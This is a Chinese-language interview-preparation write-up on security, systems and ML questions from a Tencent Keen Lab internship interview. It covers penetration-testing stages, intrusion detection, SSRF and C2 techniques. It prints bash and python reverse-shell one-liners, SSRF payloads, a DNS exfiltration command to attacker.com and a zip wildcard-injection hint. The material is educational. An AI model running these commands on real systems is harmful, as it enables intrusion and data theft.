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目录
某腾讯科恩实验室实习扩展 一面
一、TCP三次握手深度解析
二、渗透测试全流程与内网渗透技术
三、系统安全与入侵检测
四、漏洞利用与隐蔽通信
五、ATT&CK矩阵与C2隐蔽通信
六、Linux通配符与命令注入
七、机器学习与算法模型
八、文本处理与恶意样本分析
九、倒排索引与搜索优化
某腾讯科恩实验室实习扩展 一面
tcp 三次握手 渗透测试流程 SSRF漏洞原理 内网渗透大致流程 防守方有哪些入侵检测手段，有哪些痕迹可以被抓取 线程与进程得区别 进程与内存空间得区别 父子进程的介绍 孤儿进程与僵尸进程 Kill一个进程的时候，发送了哪些事情（父子进程的角度描述） 反弹shell的几种方式（https://www.revshells.com/) att&ck矩阵的类别，介绍其中的CC 到域名下拿到命令执行的结果-dns域名解析获取命令回显 linux命令通配符 SVM与KNN介绍 卷积神经网络介绍 莱温斯坦距离 倒排索引 恶意样本给出函数家族的md5，如何分类一、TCP三次握手深度解析
- 技术过程与状态流转
- 流程：客户端发送
SYN（序列号x）→ 服务端返回SYN-ACK（序列号y，确认号x+1）→ 客户端发送ACK（确认号y+1）完成连接。- 状态机：
- 客户端：
CLOSED → SYN_SENT → ESTABLISHED- 服务端：
LISTEN → SYN_RCVD → ESTABLISHED- 设计缺陷：SYN Flood攻击通过伪造大量半连接耗尽服务端资源，防御采用SYN Cookie动态生成合法序列号。
- 优化与扩展
- TFO（TCP Fast Open）：允许在首次握手时携带数据，降低延迟（0-RTT）。
- MTU探测：动态调整最大传输单元避免分片，提升传输效率。
二、渗透测试全流程与内网渗透技术
标准渗透测试流程（5阶段）
阶段 核心任务与工具 信息收集 子域名爆破（Sublist3r）、指纹识别（Wappalyzer）、资产测绘（Shodan） 漏洞利用 Exploit开发（Metasploit）、流量分析（BurpSuite） 权限提升 本地提权（Dirty Pipe）、凭证窃取（Mimikatz） 横向移动 Pass-the-Hash、WMI远程执行（Impacket） 痕迹清除 日志擦除（clearev）、时间戳篡改（timestomp） 内网渗透关键路径
- 网络拓扑探测：
- ARP扫描（NetDiscover）、路由追踪（tracert）识别内网结构。
- 凭证中继攻击：
- SMB Relay攻击利用未签名的SMB协议劫持会话。
- 域渗透技术：
- Golden Ticket伪造Kerberos票据实现持久化。
三、系统安全与入侵检测
- 入侵检测手段（5类痕迹）
- 主机痕迹：
- 进程树异常（无父进程的孤儿进程）、文件隐藏（Alternate Data Stream）。
- 网络痕迹：
- 异常DNS请求（长域名、高频次）、非标准端口通信（如ICMP隧道）。
- 日志痕迹：
- 安全日志ID 4625（登录失败）、Sysmon事件ID 1（进程创建）。
- 进程与内存管理
- 进程 vs 线程：
维度 进程 线程 资源隔离 独立内存空间 共享进程内存 上下文切换 开销大（需切换页表） 开销小（仅寄存器/栈） - 僵尸进程处理：
- 父进程需调用
wait()回收子进程资源，否则残留进程描述符。
四、漏洞利用与隐蔽通信
- SSRF漏洞利用与防御
- 攻击场景：
- 读取本地文件（
file:///etc/passwd）、攻击内网Redis（dict://:6379）。- 绕过技巧：
- 利用IPv6封装（
[::127.0.0.1]）、域名重解析（DNS Rebinding）。- 防御方案：
- 禁用非常用协议（如
gopher）、校验目标IP归属（禁止私有地址段）。- 反弹Shell技术演进
- 经典方式：
bashbash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # Bash反向连接 python3 -c 'import socket,os,pty; s=socket.socket(); s.connect(("10.0.0.1",8080)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/sh")'- 隐蔽化改进：
- 使用HTTPS加密信道（
ncat --ssl）、ICMP隧道传输（icmpsh）。
五、ATT&CK矩阵与C2隐蔽通信
- ATT&CK中的命令与控制（CC）技术
- 通信协议：
- HTTP伪装（User-Agent随机化）、DNS隧道（TXT记录编码数据）。
- 防御绕过：
- 流量混淆（Base64+异或加密）、域前置技术（伪装合法域名）。
- 检测方案：
- 统计域名请求频率、分析证书合法性（如自签名证书）。
- DNS回显数据获取
- 技术原理：
- 将命令输出编码为子域名（
dig $(whoami).attacker.com）。- 工具实现：
- 使用
dnscat2建立C2通道，数据分片存储于多个DNS请求。
六、Linux通配符与命令注入
- 通配符高级用法
- 文件操作：
bashrm -rf {*.log,*.tmp} # 批量删除日志与临时文件- 命令注入利用：
- 通过
/usr/bin/zip的-T参数触发命令执行（需通配符展开）。
七、机器学习与算法模型
SVM与KNN对比
维度 SVM KNN 核心思想 最大化分类间隔（支持向量） 基于近邻投票（距离度量） 适用场景 高维小样本（如文本分类） 低维大数据（如推荐系统） 计算复杂度 训练慢（二次规划求解） 预测慢（需遍历所有样本） 卷积神经网络（CNN）核心设计
- 组件功能：
- 卷积层（局部特征提取）、池化层（降维抗过拟合）、全连接层（全局分类）。
- 优化技术：
- 残差连接（ResNet解决梯度消失）、注意力机制（提升关键特征权重）。
八、文本处理与恶意样本分析
- 莱文斯坦距离优化
- 动态规划压缩：仅保留前一行数据，空间复杂度从O(n²)降至O(n)。
- 应用场景：拼写纠错、DNA序列比对。
- 恶意样本分类技术
- 静态分析：
- 提取PE头特征（节区熵值、导入表敏感API）。
- 动态分析：
- 监控注册表操作（如
RegSetValue）、网络行为（C2域名生成模式）。- 家族聚类：
- 基于API调用序列的LSTM模型、函数调用图（FCG）相似度计算。
九、倒排索引与搜索优化
- 分布式构建方案
- MapReduce实现：
- Mapper生成
(term, docID)键值对，Reducer合并倒排列表。- 压缩算法：
- Delta编码（存储差值）+ Variable Byte编码（动态字节长度）。